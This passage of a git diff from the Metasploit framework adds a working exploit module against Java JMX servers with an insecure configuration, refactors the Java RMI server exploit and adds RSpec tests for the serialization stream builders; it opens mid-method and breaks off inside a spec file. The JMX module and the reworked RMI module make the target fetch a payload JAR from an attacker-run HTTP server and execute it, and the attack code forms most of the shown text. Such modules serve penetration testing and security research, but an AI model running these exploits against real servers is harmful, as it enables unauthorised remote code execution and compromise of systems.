stream.contents << build_integer(647347722) + stream.contents << build_marshalled_value + stream.contents << Rex::Java::Serialization::Model::BlockDataLong.new(nil, stream_argument_value) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x01") + stream.contents << build_invocation_key(5) + stream.contents << build_marshalled_value + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, null_stream_value) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x03") + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'JMX_OBJECT_NAME') + stream.contents << builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository') + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << build_invocation_key(4) + stream.contents << build_invocation_type(1) + stream.contents << build_invocation_key(10) + stream.contents << Rex::Java::Serialization::Model::NullReference.new + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + + stream + end + + def build_marshalled_invocation + builder = Rex::Java::Serialization::Builder.new + builder.new_object( + name: 'org.jboss.invocation.MarshalledInvocation', + serial: 0xf6069527413ea4be, + flags: Rex::Java::Serialization::SC_BLOCK_DATA | Rex::Java::Serialization::SC_EXTERNALIZABLE, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + end + + def build_marshalled_value + builder = Rex::Java::Serialization::Builder.new + builder.new_object( + name: 'org.jboss.invocation.MarshalledValue', + serial: 0xeacce0d1f44ad099, + flags: Rex::Java::Serialization::SC_BLOCK_DATA | Rex::Java::Serialization::SC_EXTERNALIZABLE, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + end + + def build_invocation_key(ordinal) + builder = Rex::Java::Serialization::Builder.new + builder.new_object( + name: 'org.jboss.invocation.InvocationKey', + serial: 0xb8fb7284d79385f9, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + fields: [ + ['int', 'ordinal'] + ], + data:[ + ['int', ordinal] + ] + ) + end + + def build_invocation_type(ordinal) + builder = Rex::Java::Serialization::Builder.new + builder.new_object( + name: 'org.jboss.invocation.InvocationType', + serial: 0x59a73a1ca52b7cbf, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + fields: [ + ['int', 'ordinal'] + ], + data:[ + ['int', ordinal] + ] + ) + end + + def build_integer(value) + builder = Rex::Java::Serialization::Builder.new + builder.new_object( + name: 'java.lang.Integer', + serial: 0x12e2a0a4f7818738, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + super_class: builder.new_class( + name: 'java.lang.Number', + serial: 0x86ac951d0b94e08b, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ), + fields: [ + ['int', 'value'] + ], + data:[ + ['int', value] + ] + ) + end + + def build_null_stream + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [Rex::Java::Serialization::Model::NullReference.new] + + stream + end + end diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb new file mode 100644 index 0000000000..0e96e0af72 --- /dev/null +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -0,0 +1,369 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Java::Jmx + include Msf::Exploit::Remote::HttpServer + include Msf::Java::Rmi::Client + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Java JMX Server Insecure Configuration Java Code Execution', + 'Description' => %q{ + This module takes advantage a Java JMX interface insecure configuration, which would + allow loading classes from any remote (HTTP) URL. JMX interfaces with authentication + disabled (com.sun.management.jmxremote.authenticate=false) should be vulnerable, while + interfaces with authentication enabled will be vulnerable only if a weak configuration + is deployed (allowing to use javax.management.loading.MLet, having a security manager + allowing to load a ClassLoader MBean, etc.). + }, + 'Author' => + [ + 'Braden Thomas', # Attack vector discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'], + ['URL', 'http://www.accuvant.com/blog/exploiting-jmx-rmi'] + ], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Privileged' => false, + 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'DefaultOptions' => + { + 'WfsDelay' => 10 + }, + 'Targets' => + [ + [ 'Generic (Java Payload)', {} ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'May 22 2013' + )) + + register_options([ + Opt::RPORT(1617) + ], self.class) + + end + + def on_request_uri(cli, request) + if request.uri =~ /mlet$/ + jar = "#{rand_text_alpha(8 + rand(8))}.jar" + + mlet = "" + send_response(cli, mlet, + { + 'Content-Type' => 'application/octet-stream', + 'Pragma' => 'no-cache' + }) + + print_status("Replied to request for mlet") + elsif request.uri =~ /\.jar$/i + p = regenerate_payload(cli) + jar = p.encoded_jar + paths = [ + ["metasploit", "JMXPayloadMBean.class"], + ["metasploit", "JMXPayload.class"], + ] + jar.add_files(paths, [ Msf::Config.data_directory, "java" ]) + + send_response(cli, jar.pack, + { + 'Content-Type' => 'application/java-archive', + 'Pragma' => 'no-cache' + }) + + print_status("Replied to request for payload JAR") + end + end + + def check + connect + + unless is_rmi? + return Exploit::CheckCode::Safe + end + + mbean_server = discover_endpoint + disconnect + if mbean_server.nil? + return Exploit::CheckCode::Safe + end + + connect(true, { 'RPORT' => mbean_server[:address], 'RPORT' => mbean_server[:port] }) + unless is_rmi? + return Exploit::CheckCode::Unknown + end + + jmx_endpoint = handshake(mbean_server) + disconnect + if jmx_endpoint.nil? + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Appears + end + + def exploit + @mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}" + connect + + print_status("#{peer} - Sending RMI Header...") + unless is_rmi? + fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol") + end + + print_status("#{peer} - Discoverig the JMXRMI endpoint...") + mbean_server = discover_endpoint + disconnect + if mbean_server.nil? + fail_with(Failure::NoTarget, "#{peer} - Failed to discover the JMXRMI endpoint") + else + print_good("#{peer} - JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}") + end + + connect(true, { 'RPORT' => mbean_server[:address], 'RPORT' => mbean_server[:port] }) + unless is_rmi? + fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server") + end + + print_status("#{peer} - Proceeding with handshake...") + jmx_endpoint = handshake(mbean_server) + if jmx_endpoint.nil? + fail_with(Failure::NoTarget, "#{peer} - Failed to handshake with the MBean server") + else + print_good("#{peer} - Handshake with JMX MBean server on #{jmx_endpoint[:address]}:#{jmx_endpoint[:port]}") + end + + print_status("#{peer} - Loading payload...") + unless load_payload(jmx_endpoint) + fail_with(Failure::Unknown, "#{peer} - Failed to load the payload") + end + + print_status("#{peer} - Executing payload...") + invoke_run_stream = invoke_stream( + obj_id: jmx_endpoint[:id].chop, + object: "#{@mlet}:name=jmxpayload,id=1", + method: 'run' + ) + send_call(call_data: invoke_run_stream) + + disconnect + end + + def is_rmi? + send_header + ack = recv_protocol_ack + if ack.nil? + return false + end + + true + end + + def discover_endpoint + send_call(call_data: discovery_stream) + return_data = recv_return + + if return_data.nil? + vprint_error("#{peer} - Discovery request didn't answer") + return nil + end + + answer = extract_object(return_data, 1) + + if answer.nil? + vprint_error("#{peer} - Unexpected JMXRMI discovery answer") + return nil + end + + case answer + when 'javax.management.remote.rmi.RMIServerImpl_Stub' + mbean_server = extract_unicast_ref(StringIO.new(return_data.contents[2].contents)) + else + vprint_error("#{peer} - JMXRMI discovery returned unexpected object #{answer}") + return nil + end + + mbean_server + end + + def handshake(mbean) + vprint_status("#{peer} - Sending handshake / authentication...") + + send_call(call_data: handshake_stream(mbean[:id].chop)) + return_data = recv_return + + if return_data.nil? + vprint_error("#{peer} - Failed to send handshake") + return nil + end + + answer = extract_object(return_data, 1) + + if answer.nil? + vprint_error("#{peer} - Unexpected handshake answer") + return nil + end + + case answer + when 'java.lang.SecurityException' + vprint_error("#{peer} - JMX end point requires authentication, but it failed") + return nil + when 'javax.management.remote.rmi.RMIConnectionImpl_Stub' + vprint_good("#{peer} - Handshake completed, proceeding...") + conn_stub = extract_unicast_ref(StringIO.new(return_data.contents[2].contents)) + else + vprint_error("#{peer} - Handshake returned unexpected object #{answer}") + return nil + end + + conn_stub + end + + def load_payload(conn_stub) + vprint_status("#{peer} - Getting JMXPayload instance...") + get_payload_instance = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: "#{@mlet}:name=jmxpayload,id=1") + send_call(call_data: get_payload_instance) + return_data = recv_return + + if return_data.nil? + vprint_error("#{peer} - The request to getObjectInstance failed") + return false + end + + answer = extract_object(return_data, 1) + + if answer.nil? + vprint_error("#{peer} - Unexpected getObjectInstance answer") + return false + end + + case answer + when 'javax.management.InstanceNotFoundException' + vprint_warning("#{peer} - JMXPayload instance not found, trying to load") + return load_payload_from_url(conn_stub) + when 'javax.management.ObjectInstance' + vprint_good("#{peer} - JMXPayload instance found, using it") + return true + else + vprint_error("#{peer} - getObjectInstance returned unexpected object #{answer}") + return false + end + end + + def load_payload_from_url(conn_stub) + vprint_status("Starting service...") + start_service + + vprint_status("#{peer} - Creating javax.management.loading.MLet MBean...") + create_mbean = create_mbean_stream(obj_id: conn_stub[:id].chop, name: 'javax.management.loading.MLet') + send_call(call_data: create_mbean) + return_data = recv_return + + if return_data.nil? + vprint_error("#{peer} - The request to createMBean failed") + return false + end + + answer = extract_object(return_data, 1) + + if answer.nil? + vprint_error("#{peer} - Unexpected createMBean answer") + return false + end + + case answer + when 'javax.management.InstanceAlreadyExistsException' + vprint_good("#{peer} - javax.management.loading.MLet already exists") + when 'javax.management.ObjectInstance' + vprint_good("#{peer} - javax.management.loading.MLet created") + when 'java.lang.SecurityException' + vprint_error("#{peer} - The provided user hasn't enough privileges") + return false + else + vprint_error("#{peer} - createMBean returned unexpected object #{answer}") + return false + end + + vprint_status("#{peer} - Getting javax.management.loading.MLet instance...") + get_mlet_instance = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'DefaultDomain:type=MLet') + send_call(call_data: get_mlet_instance) + return_data = recv_return + + if return_data.nil? + vprint_error("#{peer} - The request to getObjectInstance failed") + return false + end + + answer = extract_object(return_data, 1) + + if answer.nil? + vprint_error("#{peer} - Unexpected getObjectInstance answer") + return false + end + + case answer + when 'javax.management.InstanceAlreadyExistsException' + vprint_good("#{peer} - javax.management.loading.MLet already found") + when 'javax.management.ObjectInstance' + vprint_good("#{peer} - javax.management.loading.MLet instance created") + else + vprint_error("#{peer} - getObjectInstance returned unexpected object #{answer}") + return false + end + + vprint_status("#{peer} - Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...") + + invoke_mlet_get_mbean_from_url = invoke_stream( + obj_id: conn_stub[:id].chop, + object: 'DefaultDomain:type=MLet', + method: 'getMBeansFromURL', + args: { 'java.lang.String' => "#{get_uri}/mlet" } + ) + send_call(call_data: invoke_mlet_get_mbean_from_url) + return_data = recv_return + + vprint_status("Stopping service...") + stop_service + + if return_data.nil? + vprint_error("#{peer} - The call to getMBeansFromURL failed") + return false + end + + answer = extract_object(return_data, 3) + + if answer.nil? + vprint_error("#{peer} - Unexpected getMBeansFromURL answer") + return false + end + + case answer + when 'javax.management.InstanceAlreadyExistsException' + vprint_good("#{peer} - The remote payload was already loaded... okey, using it!") + return true + when 'javax.management.ObjectInstance' + vprint_good("#{peer} - The remote payload has been loaded!") + return true + else + vprint_error("#{peer} - getMBeansFromURL returned unexpected object #{answer}") + return false + end + end + +end diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index ca24e3f50f..53697867d1 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::Remote::Tcp + include Msf::Java::Rmi::Client include Msf::Exploit::Remote::HttpServer def initialize(info = {}) @@ -115,42 +115,33 @@ class Metasploit3 < Msf::Exploit::Remote def primer connect + print_status("#{peer} - Sending RMI Header...") + send_header + ack = recv_protocol_ack + if ack.nil? + fail_with(Failure::NoTarget, "#{peer} - Filed to negotiate RMI protocol") + end + jar = rand_text_alpha(rand(8)+1) + '.jar' - old_url = "file:./rmidummy.jar" new_url = get_uri + '/' + jar - packet = gen_rmi_packet - # Java strings in serialized data are prefixed with a 2-byte, big endian length - # (at least, as long as they are shorter than 65536 bytes) - find_me = [old_url.length].pack("n") + old_url - idx = packet.index(find_me) - len = [new_url.length].pack("n") - # Now replace it with the new url - packet[idx, find_me.length] = len + new_url - # write out minimal header and packet - print_status("#{peer} - Connected and sending request for #{new_url}") - #sock.put("JRMI" + [2].pack("n") + "K" + [0].pack("n") + [0].pack("N") + packet); - sock.put("JRMI" + [2,0x4b,0,0].pack("nCnN") + packet) + print_status("#{peer} - Sending RMI Call...") + send_call(call_data: build_gc_call_data(new_url)) + return_data = recv_return - buf = "" - 1.upto(6) do - res = sock.get_once(-1, 5) rescue nil - break unless res - break if session_created? - buf << res + if return_data.nil? && !session_created? + fail_with(Failure::Unknown, 'RMI Call failed') + end + + if return_data && loader_disabled?(return_data) + fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled') + end + + if return_data && class_not_found?(return_data) + fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload') end disconnect - - if buf =~ /RMI class loader disabled/ - fail_with(Failure::NotVulnerable, "#{peer} - The RMI class loader is disabled") - end - - if buf =~ /java.lang.ClassNotFoundException/ - fail_with(Failure::Unknown, "#{peer} - The RMI class loader couldn't find the payload") - end - - print_good("#{peer} - Target may be exploitable...") end def on_request_uri(cli, request) @@ -175,22 +166,96 @@ class Metasploit3 < Msf::Exploit::Remote end end - - def gen_rmi_packet - "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a" + - "\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f" + - "\x62\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00" + - "\x70\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00" + - "\x00\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e" + - "\x52\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2" + - "\xf4\x02\x00\x00\x74\x00\x13\x66\x69\x6c\x65\x3a\x2e\x2f\x72\x6d" + - "\x69\x64\x75\x6d\x6d\x79\x2e\x6a\x61\x72\x78\x70\x77\x01\x00\x0a" - end - def autofilter return true end + def loader_disabled?(stream) + stream.contents.each do |content| + if content.class == Rex::Java::Serialization::Model::NewObject && + content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && + content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&& + content.class_data[0].class == Rex::Java::Serialization::Model::NullReference && + content.class_data[1].contents.include?('RMI class loader disabled') + return true + end + end + + false + end + + def class_not_found?(stream) + stream.contents.each do |content| + if content.class == Rex::Java::Serialization::Model::NewObject && + content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && + content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException' + return true + end + end + + false + end + + def build_gc_call_data(jar_url) + stream = Rex::Java::Serialization::Model::Stream.new + + block_data = Rex::Java::Serialization::Model::BlockData.new + block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43" + block_data.length = block_data.contents.length + + stream.contents << block_data + + new_array_annotation = Rex::Java::Serialization::Model::Annotation.new + new_array_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + + new_array_super = Rex::Java::Serialization::Model::ClassDesc.new + new_array_super.description = Rex::Java::Serialization::Model::NullReference.new + + new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;') + new_array_desc.serial_version = 0x871300b8d02c647e + new_array_desc.flags = 2 + new_array_desc.fields = [] + new_array_desc.class_annotation = new_array_annotation + new_array_desc.super_class = new_array_super + + array_desc = Rex::Java::Serialization::Model::ClassDesc.new + array_desc.description = new_array_desc + + new_array = Rex::Java::Serialization::Model::NewArray.new + new_array.type = 'java.rmi.server.ObjID;' + new_array.values = [] + new_array.array_description = array_desc + + stream.contents << new_array + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") + + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') + new_class_desc.serial_version = 0xa16544ba26f9c2f4 + new_class_desc.flags = 2 + new_class_desc.fields = [] + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::Utf.new(nil, jar_url), + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_object = Rex::Java::Serialization::Model::NewObject.new + new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + new_object.class_desc.description = new_class_desc + new_object.class_data = [] + + stream.contents << new_object + + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") + + stream + end + end diff --git a/spec/lib/msf/java/jmx/discovery_spec.rb b/spec/lib/msf/java/jmx/discovery_spec.rb new file mode 100644 index 0000000000..c5f02ef22a --- /dev/null +++ b/spec/lib/msf/java/jmx/discovery_spec.rb @@ -0,0 +1,33 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java' +require 'msf/java/jmx' + +describe Msf::Java::Jmx::Discovery do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Jmx + mod.send(:initialize) + mod + end + + let(:stream_discovery) do + "\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02" + + "\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf\x74\x00\x06\x6a\x6d\x78\x72\x6d" + + "\x69" + end + + describe "#discovery_stream" do + + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.discovery_stream).to be_a(Rex::Java::Serialization::Model::Stream) + end + + it "builds a valid stream to discover an jmxrmi endpoing" do + expect(mod.discovery_stream.encode).to eq(stream_discovery) + end + end +end + diff --git a/spec/lib/msf/java/jmx/handshake_spec.rb b/spec/lib/msf/java/jmx/handshake_spec.rb new file mode 100644 index 0000000000..7c6d3d9ebe --- /dev/null +++ b/spec/lib/msf/java/jmx/handshake_spec.rb @@ -0,0 +1,48 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/java' +require 'msf/java/jmx' + +describe Msf::Java::Jmx::Handshake do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Jmx + mod.send(:initialize) + mod + end + + let(:handshake_stream) do + "\xac\xed\x00\x05\x77\x0d\x30\xff\xff\xff\xff\xf0\xe0\x74\xea\xad" + + "\x0c\xae\xa8\x70" + end + + let(:auth_stream) do + "\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53" + + "\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00" + + "\x00\x70\x78\x70\x00\x00\x00\x02\x74\x00\x04\x72\x6f\x6c\x65\x74" + + "\x00\x08\x70\x61\x73\x73\x77\x6f\x72\x64" + end + + describe "#handshake_stream" do + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.handshake_stream(0)).to be_a(Rex::Java::Serialization::Model::Stream) + end + + it "builds a correct stream" do + expect(mod.handshake_stream(0).encode).to eq(handshake_stream) + end + end + + describe "#auth_array_stream" do + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.auth_array_stream('role', 'password')).to be_a(Rex::Java::Serialization::Model::NewArray) + end + + it "builds a correct stream" do + expect(mod.auth_array_stream('role', 'password').encode).to eq(auth_stream) + end + end +end + diff --git a/spec/lib/msf/java/jmx/mbean/server_connection_spec.rb b/spec/lib/msf/java/jmx/mbean/server_connection_spec.rb new file mode 100644 index 0000000000..a8b34d697d --- /dev/null +++ b/spec/lib/msf/java/jmx/mbean/server_connection_spec.rb @@ -0,0 +1,93 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java' +require 'msf/java/jmx' + +describe Msf::Java::Jmx::Mbean::ServerConnection do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Jmx + mod.send(:initialize) + mod + end + + let(:mbean_sample) { 'MBeanSample' } + let(:sample_args) do + {'arg1' => 'java.lang.String'} + end + + describe "#create_mbean_stream" do + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.create_mbean_stream).to be_a(Rex::Java::Serialization::Model::Stream) + end + + context "when no opts" do + it "builds a default stream" do + expect(mod.create_mbean_stream.contents[1].contents).to eq('') + end + end + + context "when opts" do + it "builds a stream having opts into account" do + expect(mod.create_mbean_stream(name: mbean_sample).contents[1].contents).to eq(mbean_sample) + end + end + end + + describe "#get_object_instance_stream" do + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.get_object_instance_stream).to be_a(Rex::Java::Serialization::Model::Stream) + end + + context "when no opts" do + it "builds a default stream" do + expect(mod.get_object_instance_stream.contents[2].contents).to eq('') + end + end + + context "when opts" do + it "builds a stream having opts into account" do + expect(mod.get_object_instance_stream(name: mbean_sample).contents[2].contents).to eq(mbean_sample) + end + end + end + + describe "#invoke_stream" do + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.invoke_stream).to be_a(Rex::Java::Serialization::Model::Stream) + end + + context "when no opts" do + it "builds a default stream" do + expect(mod.invoke_stream.contents[2].contents).to eq('') + end + end + + context "when opts" do + it "builds a stream having opts into account" do + expect(mod.invoke_stream(object: mbean_sample).contents[2].contents).to eq(mbean_sample) + end + end + end + + describe "#invoke_arguments_stream" do + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.invoke_arguments_stream).to be_a(Rex::Java::Serialization::Model::Stream) + end + + context "when no opts" do + it "builds a default stream" do + expect(mod.invoke_arguments_stream.contents[0].values.length).to eq(0) + end + end + + context "when opts" do + it "builds a stream having opts into account" do + expect(mod.invoke_arguments_stream(sample_args).contents[0].values[0].contents).to eq(sample_args['arg1']) + end + end + end + +end + diff --git a/spec/lib/msf/java/jmx/util_spec.rb b/spec/lib/msf/java/jmx/util_spec.rb new file mode 100644 index 0000000000..97b3f7abfc --- /dev/null +++ b/spec/lib/msf/java/jmx/util_spec.rb @@ -0,0 +1,121 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/java' +require 'msf/java/jmx' + +describe Msf::Java::Jmx::Util do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Jmx + mod.send(:initialize) + mod + end + + let(:empty) { '' } + let(:empty_io) { StringIO.new(empty) } + let(:string) { "\x00\x04\x41\x42\x43\x44" } + let(:string_io) { StringIO.new(string) } + let(:int) { "\x00\x00\x00\x04" } + let(:int_io) { StringIO.new(int) } + let(:stream_raw) do + "\xac\xed\x00\x05\x77\x22\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d" + + "\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03\xff\xff\xff\xff" + + "\x60\x73\xb3\x36\x1f\x37\xbd\xc2\x73\x72\x00\x1b\x6a\x61\x76\x61" + + "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" + + "\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" + + "\x00\x00\x70\x78\x70\x74\x00\x1d\x4d\x4c\x65\x74\x43\x6f\x6d\x70" + + "\x72\x6f\x6d\x69\x73\x65\x3a\x6e\x61\x6d\x65\x3d\x65\x76\x69\x6c" + + "\x2c\x69\x64\x3d\x31\x78\x70" + end + let(:stream) { Rex::Java::Serialization::Model::Stream.decode(StringIO.new(stream_raw)) } + + let(:contents_unicast_ref) do + "\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37" + + "\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x31\x00\x00\x0b\xf1" + + "\x54\x74\xc4\x27\xb7\xa3\x4e\x9b\x51\xb5\x25\xf9\x00\x00\x01\x4a" + + "\xdf\xd4\x57\x7e\x80\x01\x01" + end + let(:unicast_ref_io) do + StringIO.new(Rex::Java::Serialization::Model::BlockData.new(nil, contents_unicast_ref).contents) + end + let(:unicast_ref) do + { + :address => '172.16.158.131', + :id => "\x54\x74\xc4\x27\xb7\xa3\x4e\x9b\x51\xb5\x25\xf9\x00\x00\x01\x4a\xdf\xd4\x57\x7e\x80\x01\x01", + :port => 3057 + } + end + + + describe "#extract_string" do + context "when io contains a valid string" do + it "returns the string" do + expect(mod.extract_string(string_io)).to eq('ABCD') + end + end + + context "when io doesn't contain a valid string" do + it "returns nil" do + expect(mod.extract_string(empty_io)).to be_nil + end + end + end + + describe "#extract_int" do + context "when io contains a valid int" do + it "returns the string" do + expect(mod.extract_int(int_io)).to eq(4) + end + end + + context "when io doesn't contain a valid int" do + it "returns nil" do + expect(mod.extract_int(empty_io)).to be_nil + end + end + end + + describe "#extract_object" do + context "when empty stream" do + it "returns nil" do + empty_stream = Rex::Java::Serialization::Model::Stream.new + expect(mod.extract_object(empty_stream, 1)). to be_nil + end + end + + context "when valid stream" do + context "when id stores an object" do + it "returns the object's class name" do + expect(mod.extract_object(stream, 1)).to eq('javax.management.ObjectName') + end + end + + context "when id doesn't store an object" do + it "returns nil" do + expect(mod.extract_object(stream, 0)). to be_nil + end + end + end + end + + describe "#extract_unicast_ref" do + context "when empty io" do + it "returns nil" do + expect(mod.extract_unicast_ref(empty_io)). to be_nil + end + end + + context "when valid io" do + it "returns a hash" do + expect(mod.extract_unicast_ref(unicast_ref_io)).to be_a(Hash) + end + + it "returns a hash containing the UnicastRef information" do + expect(mod.extract_unicast_ref(unicast_ref_io)).to eq(unicast_ref) + end + end + end +end + diff --git a/spec/lib/msf/java/rmi/client/streams_spec.rb b/spec/lib/msf/java/rmi/client/streams_spec.rb new file mode 100644 index 0000000000..0f92c1952b --- /dev/null +++ b/spec/lib/msf/java/rmi/client/streams_spec.rb @@ -0,0 +1,107 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java/serialization' +require 'rex/proto/rmi' +require 'msf/java/rmi/client' + +describe Msf::Java::Rmi::Client::Streams do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Rmi::Client + mod.send(:initialize) + mod + end + + let(:default_header) { "JRMI\x00\x02\x4b" } + let(:header_opts) do + { + :version => 1, + :protocol => Rex::Proto::Rmi::Model::MULTIPLEX_PROTOCOL + } + end + let(:opts_header) { "JRMI\x00\x01\x4d" } + + let(:default_call) { "\x50\xac\xed\x00\x05" } + let(:call_opts) do + { + :message_id => Rex::Proto::Rmi::Model::PING_MESSAGE + } + end + let(:opts_call) { "\x52\xac\xed\x00\x05" } + + let(:default_dgc_ack) { "\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" } + let(:dgc_ack_opts) do + { + :unique_identifier => "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x04\x03\x02\x01" + } + end + let(:opts_dgc_ack) { "\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x04\x03\x02\x01" } + + describe "#build_header" do + context "when no opts" do + it "creates a Rex::Proto::Rmi::Model::OutputHeader" do + expect(mod.build_header).to be_a(Rex::Proto::Rmi::Model::OutputHeader) + end + + it "creates a default OutputHeader" do + expect(mod.build_header.encode).to eq(default_header) + end + end + + context "when opts" do + it "creates a Rex::Proto::Rmi::Model::OutputHeader" do + expect(mod.build_header(header_opts)).to be_a(Rex::Proto::Rmi::Model::OutputHeader) + end + + it "creates a OutputHeader with data from opts" do + expect(mod.build_header(header_opts).encode).to eq(opts_header) + end + end + end + + describe "#build_call" do + context "when no opts" do + it "creates a Rex::Proto::Rmi::Model::Call" do + expect(mod.build_call).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a default Call" do + expect(mod.build_call.encode).to eq(default_call) + end + end + + context "when opts" do + it "creates a 